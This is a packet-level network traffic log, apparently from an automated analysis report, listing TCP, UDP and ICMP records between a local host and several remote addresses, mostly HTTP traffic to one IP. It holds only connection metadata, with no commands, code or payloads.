Dec 10, 2024 03:42:09.315800905 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.315937042 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.315980911 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.316626072 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.316730976 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.316773891 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.317430019 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.317553997 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.317599058 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.318250895 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.318373919 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.318425894 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.319099903 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.319220066 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.319277048 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.319919109 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.320025921 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.320096016 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.320748091 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.320831060 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.320884943 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.321573973 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.321693897 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.321764946 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.322384119 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.322494030 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.322542906 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.323203087 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.323328018 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.323381901 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.324021101 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.324126959 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.324181080 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.324836016 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.324945927 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.324999094 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.325685978 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.325792074 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.325864077 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.326488018 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.326565027 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.326617956 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.327294111 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.327408075 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.327496052 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.328135967 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.328233957 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.328305006 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.328970909 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.329066992 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.329121113 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.329809904 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.329891920 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.329960108 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.330604076 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.330689907 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.330750942 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.331414938 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.331526041 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.331582069 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.332242012 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.332356930 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.332403898 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.333055019 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.333170891 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.333211899 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.333890915 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.334012985 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.334064960 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.334719896 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.334831953 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.334906101 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.335522890 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.335633039 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.335690975 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.336354971 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.336563110 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.336626053 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.337167025 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.337193012 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.337249041 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.337995052 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.338087082 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.338159084 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.338809967 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.338921070 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.338989019 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.339628935 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.339747906 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.339797020 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.340451002 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.340512991 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.340564966 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.341300964 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.341407061 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.341470957 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.342097044 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.342212915 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.342259884 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.342930079 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.343044996 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.343111038 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.343727112 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.343849897 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.343904018 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.344542027 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.344599009 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.344671965 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.345380068 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.345498085 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.345542908 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.346147060 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.387581110 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.495131016 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.495260954 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.495472908 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.495533943 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.495577097 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.495682001 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.496304035 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.496507883 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.496566057 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.497138977 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.497219086 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.497304916 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.497941017 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.498064041 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.498132944 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.498756886 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.498874903 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.498970985 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.499583006 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.499629974 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.499691963 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.500396967 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.500520945 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.500587940 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.501205921 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.501317024 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.501384974 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.502078056 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.502191067 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.502255917 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.502872944 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.502912998 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.502971888 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.503684998 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.503787041 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.503849983 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.504501104 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.504602909 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.504672050 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.505325079 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.505410910 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.505462885 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.506302118 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.506356955 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.506454945 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.506987095 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.507095098 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.507155895 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.507798910 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.507909060 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.508018017 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.508670092 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.508722067 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.508769035 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.509438992 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.509546041 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.509605885 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.510262966 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.510361910 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.510433912 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.511096001 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.511189938 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.511317015 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.511918068 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.512027025 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.512077093 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.512727022 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.512852907 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.512907982 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.513552904 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.513643026 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.513706923 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.514317989 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.514462948 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.514517069 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.515189886 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.515327930 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.515396118 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.516033888 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.516084909 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.516155005 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.516841888 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.516937971 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.516988039 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.517669916 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.517749071 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.517787933 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.518477917 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.518604994 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.518649101 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.519304991 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.519418001 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.519489050 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.520102978 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.520250082 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.520306110 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.520936012 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.521013021 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.521054983 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.521745920 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.521866083 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.521923065 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.522588015 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.522695065 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.522749901 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.523422003 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.523526907 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.523581028 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.524220943 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.524331093 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.524409056 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.525051117 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.525149107 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.525226116 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.525866032 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.526031017 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.526089907 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.526678085 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.526788950 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.526842117 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.527532101 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.527617931 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.527667046 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.528336048 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.528441906 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.528506994 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.529154062 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.529249907 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.529308081 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.529978037 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.529997110 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.530045033 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.530872107 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.530930042 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.530992031 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.531632900 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.531734943 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.531805992 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.532485962 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.532500029 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.532553911 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.533251047 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.533411980 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.533468962 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.534118891 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.534188986 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.534248114 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.534893036 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.535012960 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.535079956 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.535722017 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.535840034 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.535911083 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.536531925 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.536623955 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.536686897 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.537410021 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.537584066 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.537647009 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.538149118 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.590765953 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.687263012 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.687289000 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.687443018 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.687490940 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.687597036 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.687673092 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.688299894 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.688602924 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.688673019 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.688710928 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.689439058 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.689505100 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.689570904 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.690277100 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.690334082 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:09.690346003 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:09.731311083 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:14.104430914 CET	443	49731	104.98.116.138	192.168.2.7
Dec 10, 2024 03:42:14.107863903 CET	49731	443	192.168.2.7	104.98.116.138
Dec 10, 2024 03:42:19.161000013 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:19.284884930 CET	80	49820	185.215.113.16	192.168.2.7
Dec 10, 2024 03:42:19.284956932 CET	49820	80	192.168.2.7	185.215.113.16
Dec 10, 2024 03:42:21.436258078 CET	49870	443	192.168.2.7	142.250.181.100
Dec 10, 2024 03:42:21.436306000 CET	443	49870	142.250.181.100	192.168.2.7
Dec 10, 2024 03:42:21.436373949 CET	49870	443	192.168.2.7	142.250.181.100
Dec 10, 2024 03:42:21.436922073 CET	49870	443	192.168.2.7	142.250.181.100
Dec 10, 2024 03:42:21.436935902 CET	443	49870	142.250.181.100	192.168.2.7
Dec 10, 2024 03:42:23.124530077 CET	443	49870	142.250.181.100	192.168.2.7
Dec 10, 2024 03:42:23.124949932 CET	49870	443	192.168.2.7	142.250.181.100
Dec 10, 2024 03:42:23.124974966 CET	443	49870	142.250.181.100	192.168.2.7
Dec 10, 2024 03:42:23.125947952 CET	443	49870	142.250.181.100	192.168.2.7
Dec 10, 2024 03:42:23.126020908 CET	49870	443	192.168.2.7	142.250.181.100
Dec 10, 2024 03:42:23.127288103 CET	49870	443	192.168.2.7	142.250.181.100
Dec 10, 2024 03:42:23.127350092 CET	443	49870	142.250.181.100	192.168.2.7
Dec 10, 2024 03:42:23.186876059 CET	49870	443	192.168.2.7	142.250.181.100
Dec 10, 2024 03:42:23.186883926 CET	443	49870	142.250.181.100	192.168.2.7
Dec 10, 2024 03:42:23.233227968 CET	49870	443	192.168.2.7	142.250.181.100
Dec 10, 2024 03:42:32.828795910 CET	443	49870	142.250.181.100	192.168.2.7
Dec 10, 2024 03:42:32.828855038 CET	443	49870	142.250.181.100	192.168.2.7
Dec 10, 2024 03:42:32.828907013 CET	49870	443	192.168.2.7	142.250.181.100
Dec 10, 2024 03:42:33.430440903 CET	49870	443	192.168.2.7	142.250.181.100
Dec 10, 2024 03:42:33.430469036 CET	443	49870	142.250.181.100	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 03:41:14.775593042 CET	53488	53	192.168.2.7	1.1.1.1
Dec 10, 2024 03:41:14.993468046 CET	53	53488	1.1.1.1	192.168.2.7
Dec 10, 2024 03:41:18.545197010 CET	123	123	192.168.2.7	40.81.94.65
Dec 10, 2024 03:41:19.902637005 CET	123	123	40.81.94.65	192.168.2.7
Dec 10, 2024 03:42:12.637387037 CET	138	138	192.168.2.7	192.168.2.255
Dec 10, 2024 03:42:17.297822952 CET	53	59829	1.1.1.1	192.168.2.7
Dec 10, 2024 03:42:17.300088882 CET	53	51698	1.1.1.1	192.168.2.7
Dec 10, 2024 03:42:20.182516098 CET	53	63682	1.1.1.1	192.168.2.7
Dec 10, 2024 03:42:21.296574116 CET	54797	53	192.168.2.7	1.1.1.1
Dec 10, 2024 03:42:21.296705961 CET	58274	53	192.168.2.7	1.1.1.1
Dec 10, 2024 03:42:21.434294939 CET	53	58274	1.1.1.1	192.168.2.7
Dec 10, 2024 03:42:21.434320927 CET	53	54797	1.1.1.1	192.168.2.7
Dec 10, 2024 03:42:24.509002924 CET	52990	53	192.168.2.7	1.1.1.1
Dec 10, 2024 03:42:24.509180069 CET	54576	53	192.168.2.7	1.1.1.1
Dec 10, 2024 03:42:34.312377930 CET	53	62200	1.1.1.1	192.168.2.7
Dec 10, 2024 03:42:36.202927113 CET	53684	53	192.168.2.7	1.1.1.1
Dec 10, 2024 03:42:36.203061104 CET	63972	53	192.168.2.7	1.1.1.1
Dec 10, 2024 03:42:37.135855913 CET	53	55625	1.1.1.1	192.168.2.7
Dec 10, 2024 03:42:55.884701014 CET	53	51497	1.1.1.1	192.168.2.7
Dec 10, 2024 03:43:16.940114975 CET	53	64734	1.1.1.1	192.168.2.7
Dec 10, 2024 03:43:18.307292938 CET	53	55367	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 10, 2024 03:42:25.035252094 CET	192.168.2.7	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable

DNS Queries

